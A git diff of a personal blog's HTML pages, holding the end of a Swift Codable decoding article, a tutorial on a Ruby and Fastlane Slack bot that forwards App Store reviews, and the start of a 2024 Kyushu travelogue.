+46
+47
+
struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case file
+    }
+    
+    var id: Int
+    var file: OptionalValue<String>?
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        
+        self.id = try container.decode(Int.self, forKey: .id)
+        
+        if container.contains(.file) {
+            self.file = try container.decode(OptionalValue<String>.self, forKey: .file)
+        } else {
+            self.file = nil
+        }
+    }
+}
+
+var jsonData = """
+{
+    "id":1
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+
+jsonData = """
+{
+    "id":1,
+    "file":null
+}
+""".data(using: .utf8)!
+result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+
+jsonData = """
+{
+    "id":1,
+    "file":"https://test.com/m.mp3"
+}
+""".data(using: .utf8)!
+result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

The example is simplified to only include id and file data fields.

The Song Entity implements its own decoding method, using the contains(.KEY) method to determine whether the response includes the field (regardless of its value). If it does, it decodes it into OptionalValue; within the OptionalValue Enum, it decodes the actual value we want. If the value is successfully decoded, it is placed in .value(T); if the value is null (or decoding fails), it is placed in .null.

  1. When the response includes the field and value: OptionalValue.value(VALUE)
  2. When the response includes the field and the value is null: OptionalValue.null
  3. When the response does not include the field: nil

This way, we can distinguish whether the field is provided or not, and when writing to Core Data, we can determine whether to update the field to null or not update this field at all.

Other Research — Double Optional ❌

Optional!Optional! is quite suitable for handling this scenario in Swift.

1
+2
+3
+4
+5
+6
+7
+8
+9
+
struct Song: Decodable {
+    var id: Int
+    var name: String??
+    var file: String??
+    var converImage: String??
+    var likeCount: Int??
+    var like: Bool??
+    var length: Int??
+}
+
  1. When the response provides the field & value: Optional(VALUE)
  2. When the response provides the field & the value is null: Optional(nil)
  3. When the response does not provide the field: nil

However… Codable JSONDecoder Decode handles both Double Optional and Optional with decodeIfPresent, treating both as Optional without special handling for Double Optional; so the result remains the same as before.

Other Research — Property Wrapper ❌

Initially, it was thought that Property Wrapper could be used for elegant encapsulation, such as:

1
+
@OptionalValue var file: String?
+

But before delving into the details, it was found that Codable Property fields marked with Property Wrapper require the API response to have that field, otherwise, a keyNotFound error will occur, even if the field is Optional. ?????

There is also a discussion thread on the official forum regarding this issue… It is estimated that this will be fixed in the future.

Therefore, when choosing packages like BetterCodable or CodableWrappers, consider the current issue with Property Wrapper.

Other Problem Scenarios

1. API Response uses 0/1 to represent Bool, how to Decode?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+
import Foundation
+
+struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case like
+    }
+    
+    var id: Int
+    var name: String?
+    var like: Bool?
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.name = try container.decodeIfPresent(String.self, forKey: .name)
+        
+        if let intValue = try container.decodeIfPresent(Int.self, forKey: .like) {
+            self.like = (intValue == 1) ? true : false
+        } else if let boolValue = try container.decodeIfPresent(Bool.self, forKey: .like) {
+            self.like = boolValue
+        }
+    }
+}
+
+var jsonData = """
+{
+    "id": 1,
+    "name": "告五人",
+    "like": 0
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

Extending the previous section, we can initialize Decode in init and decode it into int/Bool, then assign it ourselves. This way, we can extend the original fields to accept 0/1/true/false.

2. Don’t want to rewrite the init decoder every time

If you don’t want to create your own Decoder, you can override the original JSON Decoder to add more functionality.

We can extend KeyedDecodingContainer and define public methods ourselves. Swift will prioritize executing the methods we redefine under the module, overriding the original Foundation implementation.

This affects the entire module.

And it’s not a true override, you can’t call super.decode, and be careful not to call yourself (e.g., decode(Bool.Type, forKey) in decode(Bool.Type, forKey)).

There are two decode methods:

  • decode(Type, forKey:) handles non-Optional data fields
  • decodeIfPresent(Type, forKey:) handles Optional data fields

Example 1. The main issue mentioned earlier can be directly extended:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
extension KeyedDecodingContainer {
+    public func decodeIfPresent<T>(_ type: T.Type, forKey key: Self.Key) throws -> T? where T : Decodable {
+        //better:
+        switch type {
+        case is OptionalValue<String>.Type,
+             is OptionalValue<Int>.Type:
+            return try? decode(type, forKey: key)
+        default:
+            return nil
+        }
+        // or just return try? decode(type, forKey: key)
+    }
+}
+
+struct Song: Decodable {
+    var id: Int
+    var file: OptionalValue<String>?
+}
+

Since the main issue is with Optional data fields and Decodable types, we override the decodeIfPresent<T: Decodable> method.

It is speculated that the original implementation of decodeIfPresent returns nil if the data is null or the response does not provide it, without actually running decode.

So the principle is simple: as long as the Decodable Type is OptionValue<T>, it will try to decode regardless, allowing us to get different state results. But actually, not judging the Decodable Type also works, meaning all Optional fields will try to decode.

Example 2. Problem scenario 1 can also be extended using this method:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
extension KeyedDecodingContainer {
+    public func decodeIfPresent(_ type: Bool.Type, forKey key: KeyedDecodingContainer<K>.Key) throws -> Bool? {
+        if let intValue = try? decodeIfPresent(Int.self, forKey: key) {
+            return (intValue == 1) ? (true) : (false)
+        } else if let boolValue = try? decodeIfPresent(Bool.self, forKey: key) {
+            return boolValue
+        }
+        return nil
+    }
+}
+
+struct Song: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case like
+    }
+    
+    var id: Int
+    var name: String?
+    var like: Bool?
+}
+
+var jsonData = """
+{
+    "id": 1,
+    "name": "告五人",
+    "like": 1
+}
+""".data(using: .utf8)!
+var result = try! JSONDecoder().decode(Song.self, from: jsonData)
+print(result)
+

Conclusion

Codable has been used in various tricky ways, some of which are quite convoluted because Codable’s constraints are too strong, sacrificing much of the flexibility needed in real-world development. In the end, you might even start to question why you chose Codable in the first place, as the advantages seem to diminish…

References

Review

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Is it Still Up-to-Date to Build a Personal Website Using Google Site?

iOS 14 Clipboard Data Theft Panic: The Dilemma of Privacy and Convenience

diff --git a/posts/cb0c68c33994/index.html b/posts/cb0c68c33994/index.html new file mode 100644 index 0000000000..969c0caf09 --- /dev/null +++ b/posts/cb0c68c33994/index.html @@ -0,0 +1,597 @@ + AppStore APP’s Reviews Bot Insights | ZhgChgLi
Home AppStore APP’s Reviews Bot Insights
Post
Cancel

AppStore APP’s Reviews Bot Insights

AppStore APP’s Reviews Slack Bot Insights

Using Ruby+Fastlane-SpaceShip to build an APP review tracking notification Slack bot

Photo by [Austin Distel](https://unsplash.com/@austindistel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Austin Distel

Ignorance is bliss

[AppReviewBot as an example](https://appreviewbot.com){:target="_blank"}

AppReviewBot as an example

I recently discovered that the bot in Slack that forwards the latest APP reviews is a paid service. I always thought this feature was free. The cost ranges from $5 to $200 USD/month because each platform offers more than just the “App Review Bot” feature. They also provide data statistics, records, unified backend, competitor comparisons, etc. The cost is based on the services each platform can provide. The Review Bot is just one part of their offerings, but I only need this feature and nothing else. Paying for it seems wasteful.

Problem

I originally used the free open-source tool TradeMe/ReviewMe for Slack notifications, but this tool has been outdated for a long time. Occasionally, Slack would suddenly send out some old reviews, which was quite alarming (many bugs had already been fixed, making us think there were new issues!). The reason was unclear.

So, I considered finding other tools or methods to replace it.

TL;DR [2022/08/10] Update:

We have now redesigned the App Reviews Bot using the new App Store Connect API and relaunched it as “ ZReviewTender — a free open-source App Reviews monitoring bot “.

====

2022/07/20 Update

App Store Connect API now supports reading and managing Customer Reviews. The App Store Connect API natively supports accessing App reviews, no longer requiring Fastlane — Spaceship to fetch reviews from the backend.

Principle Exploration

With the motivation in place, let’s explore the principles to achieve the goal.

Official API ❌

Apple provides the App Store Connect API, but it does not offer a feature to fetch reviews.

[2022/07/20 Update]: App Store Connect API now supports reading and managing Customer Reviews

Public URL API (RSS) ⚠️

Apple provides a public APP review RSS subscription URL, and it offers both rss xml and json formats.

1
+
https://itunes.apple.com/country_code/rss/customerreviews/id=APP_ID/page=1/sortBy=mostRecent/json
+
  • Country code: Refer to this document.
  • APP_ID: Go to the App web version, and you will get the URL: https://apps.apple.com/tw/app/APP_NAME/id 12345678, the number after id is the App ID (pure numbers).
  • Page: You can request pages 1~10, beyond that you cannot retrieve.
  • SortBy: mostRecent/json requests the latest & json format, you can also change it to mostRecent/xml for xml format.

The returned review data is as follows:

rss.json:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+
{
+  "author": {
+    "uri": {
+      "label": "https://itunes.apple.com/tw/reviews/id123456789"
+    },
+    "name": {
+      "label": "test"
+    },
+    "label": ""
+  },
+  "im:version": {
+    "label": "4.27.1"
+  },
+  "im:rating": {
+    "label": "5"
+  },
+  "id": {
+    "label": "123456789"
+  },
+  "title": {
+    "label": "Great presence!"
+  },
+  "content": {
+    "label": "Life is worth it~",
+    "attributes": {
+      "type": "text"
+    }
+  },
+  "link": {
+    "attributes": {
+      "rel": "related",
+      "href": "https://itunes.apple.com/tw/review?id=123456789&type=Purple%20Software"
+    }
+  },
+  "im:voteSum": {
+    "label": "0"
+  },
+  "im:contentType": {
+    "attributes": {
+      "term": "Application",
+      "label": "Application"
+    }
+  },
+  "im:voteCount": {
+    "label": "0"
+  }
+}
+

Advantages:

  1. Public, accessible without authentication steps
  2. Simple and easy to use

Disadvantages:

  1. This RSS API is very outdated and hasn’t been updated
  2. The returned review information is too little (no comment time, edited review?, replied?)
  3. Encounter data disorder issues (the last few pages occasionally suddenly spit out old data)
  4. Can access up to 10 pages

The biggest problem we encountered is 3; but it is uncertain whether this is an issue with the Bot tool we are using or with the RSS URL data.

Private URL API ✅

This method is somewhat unconventional and was discovered by a sudden inspiration; but after referring to other Review Bot practices, I found that many websites also use it this way, so it should be fine, and I saw tools doing this 4-5 years ago, just didn’t delve into it at the time.

Advantages:

  1. Same data as Apple’s backend
  2. Complete and up-to-date data
  3. Can do more detailed filtering
  4. Deeply integrated APP tools also use this method (AppRadar/AppReviewBot…)

Disadvantages:

  1. Unofficial method (unconventional)
  2. Due to Apple’s implementation of comprehensive two-step login, the login session needs to be updated regularly.

Step 1 — Sniff the API that loads the review section of App Store Connect backend:

Get the Apple backend by hitting:

1
+
https://appstoreconnect.apple.com/WebObjects/iTunesConnect.woa/ra/apps/APP_ID/platforms/ios/reviews?index=0&sort=REVIEW_SORT_ORDER_MOST_RECENT
+

This endpoint retrieves the review list:

index = page offset, up to 100 entries per page.

The returned review data is as follows:

private.json:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
{
+  "value": {
+    "id": 123456789,
+    "rating": 5,
+    "title": "Great presence!",
+    "review": "Life is worth it~",
+    "created": null,
+    "nickname": "test",
+    "storeFront": "TW",
+    "appVersionString": "4.27.1",
+    "lastModified": 1618836654000,
+    "helpfulViews": 0,
+    "totalViews": 0,
+    "edited": false,
+    "developerResponse": null
+  },
+  "isEditable": true,
+  "isRequired": false,
+  "errorKeys": null
+}
+

After testing, it was found that you only need to include cookie: myacinfo=<Token> to forge a request and obtain data:

We have the API and the required headers, now we need to automate the retrieval of this cookie information from the backend.

Step Two — The Versatile Fastlane

Since Apple now enforces full Two-Step Verification, automating login verification has become more cumbersome. Fortunately, the clever Fastlane has implemented everything from the official App Store Connect API, iTMSTransporter, to web authentication (including two-step verification). We can directly use Fastlane’s command:

1
+
fastlane spaceauth -u <App Store Connect Account (Email)>
+

This command will complete the web login verification (including two-step verification) and then store the cookie in the FASTLANE_SESSION file.

You will get a string similar to the following:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
!ruby/object:HTTP::Cookie
+name: myacinfo  value: <token>  
+domain: apple.com for_domain: true  path: "/"  
+secure: true  httponly: true  expires: max_age: 
+created_at: 2021-04-21 20:42:36.818821000 +08:00  
+accessed_at: 2021-04-21 22:02:45.923016000 +08:00
+!ruby/object:HTTP::Cookie
+name: <hash>  value: <token>
+domain: idmsa.apple.com for_domain: true  path: "/"
+secure: true  httponly: true  expires: max_age: 2592000
+created_at: 2021-04-19 23:21:05.851853000 +08:00
+accessed_at: 2021-04-21 20:42:35.735921000 +08:00
+

By including myacinfo = value, you can obtain the review list.

Step Three — SpaceShip

Initially, I thought Fastlane could only help us up to this point, and we would have to manually integrate the flow of obtaining the cookie from Fastlane and then calling the API. However, after some exploration, I discovered that Fastlane’s authentication module SpaceShip has even more powerful features!

`SpaceShip`

SpaceShip

SpaceShip already has a method for fetching the review list Class: Spaceship::TunesClient::get_reviews!

1
+2
+
app = Spaceship::Tunes::login(appstore_account, appstore_password)
+reviews = app.get_reviews(app_id, platform, storefront, versionId = '')
+

*storefront = region

Step Four — Assembly

Fastlane and Spaceship are both written in Ruby, so we also need to use Ruby to create this Bot tool.

We can create a reviewBot.rb file, and to compile and execute it, simply enter in the Terminal:

1
+
ruby reviewBot.rb
+

That’s it. ( *For more Ruby environment issues, refer to the tips at the end)

First, since the original get_reviews method’s parameters do not meet our needs; I want review data for all regions and all versions, without filtering, and with pagination support:

extension.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
# Extension Spaceship->TunesClient
+module Spaceship
+  class TunesClient < Spaceship::Client
+    def get_recent_reviews(app_id, platform, index)
+      r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT")
+      parse_response(r, 'data')['reviews']
+     end
+  end
+end
+

So we extend a method in TunesClient, with parameters only including app_id, platform = ios ( all lowercase ), index = pagination offset.

Next, assemble login authentication and fetch the review list:

get_recent_reviews.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
index = 0
+breakWhile = true
+while breakWhile
+  app = Spaceship::Tunes::login(APPStoreConnect account (Email), APPStoreConnect password)
+  reviews = app.get_recent_reviews($app_id, $platform, index)
+  if reviews.length() <= 0
+    breakWhile = false
+    break
+  end
+  reviews.each { |review|
+    index += 1
+    puts review["value"]
+  }
+end
+

Use while to traverse all pages, and terminate when there is no content.

Next, add a record of the last latest time, and only notify the latest messages that have not been notified:

lastModified.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+
lastModified = 0
+if File.exists?(".lastModified")
+  lastModifiedFile = File.open(".lastModified")
+  lastModified = lastModifiedFile.read.to_i
+end
+newLastModified = lastModified
+isFirst = true
+messages = []
+
+index = 0
+breakWhile = true
+while breakWhile
+  app = Spaceship::Tunes::login(APPStoreConnect account (Email), APPStoreConnect password)
+  reviews = app.get_recent_reviews($app_id, $platform, index)
+  if reviews.length() <= 0
+    breakWhile = false
+    break
+  end
+  reviews.each { |review|
+    index += 1
+    if isFirst
+      isFirst = false
+      newLastModified = review["value"]["lastModified"]
+    end
+
+    if review["value"]["lastModified"] > lastModified && lastModified != 0  
+      # Do not send notifications the first time
+      messages.append(review["value"])
+    else
+      breakWhile = false
+      break
+    end
+  }
+end
+
+messages.sort! { |a, b|  a["lastModified"] <=> b["lastModified"] }
+messages.each { |message|
+    notify_slack(message)
+}
+
+File.write(".lastModified", newLastModified, mode: "w+")
+

Simply use a .lastModified to record the time obtained during the last execution.

*Do not send notifications the first time, otherwise, it will spam

The final step, assemble the push message & send it to Slack:

slack.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
# Slack Bot
+def notify_slack(review)
+  rating = review["rating"].to_i
+  color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger")
+  like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : ""
+  date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}"
+  
+    
+  isResponse = ""
+  if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"]
+    isResponse = " (Response outdated)"
+  end
+  
+  edited = review["edited"] == false ? "" : ":memo: User updated review#{isResponse}:"
+
+  stars = "★" * rating + "☆" * (5 - rating)
+  attachments = {
+    :pretext => edited,
+    :color => color,
+    :fallback => "#{review["title"]} - #{stars}#{like}",
+    :title => "#{review["title"]} - #{stars}#{like}",
+    :text => review["review"],
+    :author_name => review["nickname"],
+    :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>"
+  }
+  payload = {
+   :attachments => [attachments],
+   :icon_emoji => ":storm_trooper:",
+   :username => "ZhgChgLi iOS Review Bot"
+  }.to_json
+  cmd = "curl -X POST --data-urlencode 'payload=#{payload}' SLACK_WEB_HOOK_URL"
+  system(cmd, :err => File::NULL)
+  puts "#{review["id"]} send Notify Success!"
+ end
+

SLACK_WEB_HOOK_URL = Incoming WebHook URL

Final Result

appreviewbot.rb:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+
require "Spaceship"
+require 'json'
+require 'date'
+
+# Config
+$slack_web_hook = "Target notification web hook url"
+$slack_debug_web_hook = "Notification web hook url when the bot has an error"
+$appstore_account = "APPStoreConnect account (Email)"
+$appstore_password = "APPStoreConnect password"
+$app_id = "APP_ID"
+$platform = "ios"
+
+# Extension Spaceship->TunesClient
+module Spaceship
+  class TunesClient < Spaceship::Client
+    def get_recent_reviews(app_id, platform, index)
+      r = request(:get, "ra/apps/#{app_id}/platforms/#{platform}/reviews?index=#{index}&sort=REVIEW_SORT_ORDER_MOST_RECENT")
+      parse_response(r, 'data')['reviews']
+     end
+  end
+end
+
+# Slack Bot
+def notify_slack(review)
+  rating = review["rating"].to_i
+  color = rating >= 4 ? "good" : (rating >= 2 ? "warning" : "danger")
+  like = review["helpfulViews"].to_i > 0 ? " - #{review["helpfulViews"]} :thumbsup:" : ""
+  date = review["edited"] == false ? "Created at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}" : "Updated at: #{Time.at(review["lastModified"].to_i / 1000).to_datetime}"
+  
+    
+  isResponse = ""
+  if review["developerResponse"] != nil && review["developerResponse"]['lastModified'] < review["lastModified"]
+    isResponse = " (Customer service response is outdated)"
+  end
+  
+  edited = review["edited"] == false ? "" : ":memo: User updated review#{isResponse}:"
+
+  stars = "★" * rating + "☆" * (5 - rating)
+  attachments = {
+    :pretext => edited,
+    :color => color,
+    :fallback => "#{review["title"]} - #{stars}#{like}",
+    :title => "#{review["title"]} - #{stars}#{like}",
+    :text => review["review"],
+    :author_name => review["nickname"],
+    :footer => "iOS - v#{review["appVersionString"]} - #{review["storeFront"]} - #{date} - <https://appstoreconnect.apple.com/apps/APP_ID/appstore/activity/ios/ratingsResponses|Go To App Store>"
+  }
+  payload = {
+   :attachments => [attachments],
+   :icon_emoji => ":storm_trooper:",
+   :username => "ZhgChgLi iOS Review Bot"
+  }.to_json
+  cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_web_hook}"
+  system(cmd, :err => File::NULL)
+  puts "#{review["id"]} send Notify Success!"
+ end
+
+begin
+    lastModified = 0
+    if File.exists?(".lastModified")
+      lastModifiedFile = File.open(".lastModified")
+      lastModified = lastModifiedFile.read.to_i
+    end
+    newLastModified = lastModified
+    isFirst = true
+    messages = []
+
+    index = 0
+    breakWhile = true
+    while breakWhile
+      app = Spaceship::Tunes::login($appstore_account, $appstore_password)
+      reviews = app.get_recent_reviews($app_id, $platform, index)
+      if reviews.length() <= 0
+        breakWhile = false
+        break
+      end
+      reviews.each { |review|
+        index += 1
+        if isFirst
+          isFirst = false
+          newLastModified = review["value"]["lastModified"]
+        end
+
+        if review["value"]["lastModified"] > lastModified && lastModified != 0  
+          # Do not send notification on first use
+          messages.append(review["value"])
+        else
+          breakWhile = false
+          break
+        end
+      }
+    end
+    
+    messages.sort! { |a, b|  a["lastModified"] <=> b["lastModified"] }
+    messages.each { |message|
+        notify_slack(message)
+    }
+    
+    File.write(".lastModified", newLastModified, mode: "w+")
+rescue => error
+    attachments = {
+        :color => "danger",
+        :title => "AppStoreReviewBot Error occurs!",
+        :text => error,
+        :footer => "*Due to Apple's technical limitations, the precise rating crawling function needs to be re-logged in and set approximately every month. We apologize for the inconvenience."
+    }
+    payload = {
+        :attachments => [attachments],
+        :icon_emoji => ":storm_trooper:",
+        :username => "ZhgChgLi iOS Review Bot"
+    }.to_json
+    cmd = "curl -X POST --data-urlencode 'payload=#{payload}' #{$slack_debug_web_hook}"
+    system(cmd, :err => File::NULL)
+    puts error
+end
+

Additionally, a begin…rescue (try…catch) protection is added. If an error occurs, a Slack notification will be sent for us to check (mostly due to session expiration).

Finally, just add this script to crontab / schedule and other scheduling tools to execute it regularly!

Effect picture:

Free Alternatives

  1. AppFollow: Uses Public URL API (RSS), it’s usable at best.
  2. feedis.io: Uses Private URL API, requires giving them your account and password.
  3. TradeMe/ReviewMe: Self-hosted service (node.js), we originally used this but encountered the aforementioned issues.
  4. JonSnow: Self-hosted service (GO), supports one-click deployment to heroku, author: @saiday

Warm Tips

  1. ⚠️Private URL API method, if using an account with two-factor authentication, it needs to be re-verified every 30 days at most and currently has no solution; if you can create an account without two-factor authentication, you can use it smoothly.

[#important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"}

#important-note-about-session-duration

  1. ⚠️Whether free, paid, or self-hosted as mentioned in this article; do not use a developer account, be sure to create a separate App Store Connect account with only “Customer Support” permissions to prevent security issues.

  2. It is recommended to use rbenv to manage Ruby, as the system’s built-in version 2.6 can easily cause conflicts.

  3. If you encounter GEM or Ruby environment errors on macOS Catalina, you can refer to this reply to solve them.

Problem Solved!

After the above journey, I have a better understanding of how the Slack Bot works and how the iOS App Store crawls review content. I also got to play around with ruby! It feels great to write!

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Quickly Build a Testable API Service Using Firebase Firestore + Functions

ZReviewsBot — Slack App Review Notification Bot

diff --git a/posts/cb65fd5ab770/index.html b/posts/cb65fd5ab770/index.html new file mode 100644 index 0000000000..f6a4df20dd --- /dev/null +++ b/posts/cb65fd5ab770/index.html @@ -0,0 +1,5 @@ + Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise | ZhgChgLi
Home Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise
Post
Cancel

Travelogue 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise

[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Japan via Busan→Fukuoka Cruise

Boarding the Shin Arashiyama Camellia Cruise from Busan, South Korea to Fukuoka, Japan, visiting Yufuin, Oita, Fukuoka, Shimonoseki, Ijima, and Sasebo; a total of 11 days

Background

Taking advantage of the brief period between the end of a phase of work tasks and the start of a new job to take a short breather in Japan; resigned on 5/30, departed on 6/3, returned on 6/13, new job started on 6/24, timing worked out perfectly, as it was only during the job transition gap that I could take a relatively longer time off (a total of 11 days); this was a solo trip in disguise, teaming up with James Lin (Ex-Binance Android Developer, any job opportunities are welcome to be referred to him) who I traveled with last year to Tokyo; this is my second visit to Kyushu, having visited Fukuoka, Kumamoto, and Nagasaki’s must-see attractions last September; this time mainly covering the places I didn’t get to visit last time; so the itinerary will be different from James’, going separate ways.

**The following are the places visited last time that may not be revisited this time. For those interested in learning more about Kyushu, please refer to my previous travelogue “2023 Kyushu 10-Day Solo Trip”:

  • Fukuoka: Moji Port, Kokura Castle, Kushida Shrine, Sumiyoshi Shrine, Nakasu Yatai, Fukuoka Tower, Pay Pay Dome, Tenjin Shopping Street, Hakata Canal City, Lalaport, Yanagawa River Cruise, Dazaifu
  • Nagasaki: Chinatown, Glover Garden, Inasayama Night View, Atomic Bomb Museum, Peace Park
  • Kumamoto: Kumamoto Castle, Mount Aso, Aso Shrine, Suizenji Jojuen Garden, Tsuruya Department Store, Kamitori Shopping Street, Shimotori Shopping Street, Kato Shrine, Sakuramachi Department Store, Kumamon Square (Chief’s Office)**

For more information, please refer to “2023 Kyushu 10-Day Solo Trip”.

Lessons Learned from This Trip

Summarizing the lessons learned from this trip at the beginning, “Traveling freely is a continuous payment of tuition fees (time or money) for learning, the more experience you gain, the fewer pitfalls you will encounter”.

  • At small JR stations without any electronic signs, check the platform announcement board for train arrival times. ⚠️
  • At some JR stations without station masters, to alight, you need to move to the first car (conductor also acts as station master, similar to alighting from a bus)
  • JR limited express and regular tickets are separate, after purchasing a regular ticket, you need to additionally purchase a limited express ticket to board the limited express; boarding without it will require a fare adjustment. (No need to worry about this with a JR Pass, you can board without hassle)
  • Almost 100% of the time, limited express trains will check tickets, if traveling in unreserved seats, the conductor will ask where you are heading for record-keeping
  • When making an online reservation for JR Pass (requires credit card payment for seat reservation fee), when exchanging the JR Pass, you will need to present the same credit card for verification, so be sure to bring that card to Japan. ⚠️
  • If booking the Shin Arashiyama Camellia Cruise too late, only economy cabins are available (mixed-gender sleeping for 8-11 people, only communal Japanese bath, lights out at 11 pm)
  • If booking too late for Forest of Yufuin, only regular JR services are available
  • Advance booking is required for rowing at Takachiho Gorge
  • There are two Shinkansen trains that cannot be used with the JR Pass: “Nozomi” and “Mizuho”, separate tickets need to be purchased
  • Sometimes the Shinkansen ticket gates at Hakata Station may get stuck, requiring manual assistance (as the aforementioned two trains cannot be used, as long as you confirm you are not boarding these two, the station staff will let you through)
  • Always double-check your bookings, encountered a gender mix-up when booking the Shin Arashiyama Camellia Cruise, contacted customer service promptly to rectify the error. ⚠️ (Later found out that it shouldn’t matter for mixed-gender accommodation, but still gave me a big scare)
  • Kyushu buses may not always be punctual, and Google Maps directions may not always be accurate
  • Japan luggage storage Coin Lockers inquiry, reservation (Not available everywhere, many places that offer luggage storage do not have them)
  • Need an adapter in South Korea
  • Only able to exchange Korean won at the counter
  • In South Korea, you can just purchase a tmoney transportation card, no need for Wowpass

KKday Promotion

Preparation

Fun

The main purpose of this trip is to take the Camellia Line Cargo Passenger Ferry from Busan, South Korea to Fukuoka, Japan and visit Yufuin, Oita Beppu, and Miyazaki Prefecture - Takachiho.

The pre-trip plan is as follows: (Planned the day before departure, actual order may not follow the plan, didn’t go to Minami Aso as it was too far)

  • 6/3 Arrive at Busan - Gimhae Airport around 19:00, arrive at Busan Station at 20:00, check-in at the hotel, find food nearby
  • 6/4 Haedong Yonggungsa Temple, Haeundae, leave South Korea in the evening, board the Camellia Line Cargo Passenger Ferry
  • 6/5 Arrive in Fukuoka, go to Karatsu, visit Nanatsugama, visit Udo Shrine, Oga Shrine Torii in the sea, return via Lalaport Actual: Only went to Udo Shrine
  • 6/6 Take JR to Yufuin in the morning, go to Oita in the afternoon
  • 6/7 Oita, Beppu Hell Tour
  • 6/8 Moji, Shimonoseki, Karato Market Actual: Went to Karatsu Castle more
  • 6/9 Minami Aso, Shirakawa Water Source, Kamishikimi Kumanoimasu Shrine Actual: Changed to go to Sasebo (Kujukushima Cruise), Takeo Onsen
  • 6/10 Check the missed itinerary on 6/7, Oga Shrine Torii in the sea, Udo Shrine, Lalaport or shopping Actual: Went to Sakurai Futamigaura, Minami Zao-in, Hakata Pilgrimage
  • 6/11 KKday Takachiho Gorge Day Tour, Takachiho Shrine, Takachiho Gorge, Amano Iwato Shrine, Tenkai Riverbed
  • 6/12 Sasebo, Kujukushima, Huis Ten Bosch or baseball Actual: Went shopping in Hakata, shopping in Tenjin, watched baseball at PayPay Dome
  • 6/13 Shopping in Fukuoka city, take the 21:00 flight back to Taiwan Actual: Went to Lalaport more

This time, I bought DJB for internet, 2 days 2GB in Korea, unlimited data for 9 days in Japan, total NT$1,250.

Takachiho Gorge is extremely difficult to reach from Fukuoka, so I directly signed up for the KKDAY Takachiho Gorge Day Tour, which includes transportation, lunch, and a Chinese tour guide, priced at NT$2,272 per person.

Travel

✈️ Flights

